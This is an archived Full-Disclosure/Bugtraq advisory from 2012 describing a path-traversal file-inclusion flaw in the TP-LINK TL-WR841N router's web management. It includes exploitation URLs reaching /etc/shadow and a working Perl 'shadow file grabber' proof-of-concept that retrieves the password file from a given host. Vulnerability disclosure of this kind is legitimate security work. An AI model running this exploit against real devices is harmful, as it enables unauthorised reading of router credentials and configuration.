lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <003601cdb56b$f99879e0$ecc96da0$@sivanet.co.il>
Date: Mon, 29 Oct 2012 02:25:59 +0200
From: "Matan Azugi" <pulse@...anet.co.il>
To: <full-disclosure@...ts.grok.org.uk>,
	<bugtraq@...urityfocus.com>
Subject: =| Security Advisory - TP-LINK TL-WR841N LFI |=

=| Security Advisory - TP-LINK TL-WR841N LFI |=

Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below Versions

Discovered Date: 24/10/2012
Author: Matan Azugi [matan@...sec.co.il]
Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N 

Details:

TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)
Vulnerability.
The vulnerability exists in Web-Based Management. The URL parameter is not
properly sanitized before being used.



Exploitation URL: 

 <http://192.168.0.1/../../../../../../../etc/shadow>
http://192.168.0.1/help/../../../../../../../../etc/shadow

Successful exploitation allows viewing the router configuration and password
files.

Proof of Concept Code: 

#TP-LINK TL-WR841N Shadow file grabber#

#built by Pulse matan@...sec.co.il#

#enjoy#

 

use LWP::UserAgent;

$host = $ARGV[0];

chomp($host);

if($host !~ /http:\/\//) { $host = "http://$host"; };

 

my $ua = LWP::UserAgent->new;

$ua->timeout(30);

$lfi = "/help/../../../../../../../../etc/shadow";

$url = $host.$lfi;

$request = HTTP::Request->new('GET', $url);

$response = $ua->request($request);

my $html = $response->content;          

if($html =~ /root/) {

print "root$' \n" ;

}



Thank You, 
Matan Azugi, MCSE OSCP
 <http://www.madsec.co.il> http://www.madsec.co.il





 


Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ